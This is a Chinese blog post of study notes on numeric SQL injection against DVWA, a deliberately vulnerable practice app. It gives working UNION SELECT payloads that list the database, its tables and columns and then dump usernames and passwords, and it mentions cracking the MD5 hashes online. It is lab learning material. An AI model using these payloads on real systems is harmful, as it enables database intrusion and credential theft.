DVWA学习Sql注入笔记(数字型sql注入)

一.判断是否存在注入,注入是字符型还是数字型
若是数字型,用+ - * /判断是否存在注入。
Tip:但是这里需要注意的是,在URL中“+”是有特别含义,它表示的是空格。所以在URL中我们需要使用“%2B”来代替“+”。

例:1%2B1

二.猜解SQL查询语句中的字段数
猜测字段数使用order by 来猜测
Payload:

1 order by 1
1 order by 2
1 order by 3

三.确定显示的字段顺序
另:是我们想要使用字符串的话,可以有两种方法。
[1]使用字符串的十六进制来表示,例如admin转化为十六进制,为“61646D696E”
这里写图片描述
然后我们之后在十六进制前加上0x61646D696E
我们构造的payload像这样即可

select * from users where user = 0x61646D696E;

[2]使用char函数,但这里char函数使用的参数是十进制的ascii数值。比如admin
CHAR(97, 100, 109, 105, 110)
构造的payload像这样即可

select * from users where user = CHAR(97, 100, 109, 105, 110);

四.获取当前数据库
五.获取数据库中的表
六.获取表中的字段名

构造最终的payload
1.获取数据库名:

-1 union select 1,database()

这里写图片描述

2.获取表名:

-1 union select table_name,2 from information_schema.tables 
where table_schema = database()

这里写图片描述

3.获取users表的列名:

-1 union select column_name,2 
from information_schema.columns 
where table_schema = database() and table_name = 0x7573657273

这里写图片描述

扫描二维码关注公众号,回复: 2771901 查看本文章

4.获取数据表内容

-1 union select user,password from users;

这里写图片描述

七.下载数据
又到去MD5网站破解密码的时候,又是一次验证自己成果的时候。
这里我们选择用户名为1337的用户
这里写图片描述

猜你喜欢

转载自blog.csdn.net/dyw_666666/article/details/81587715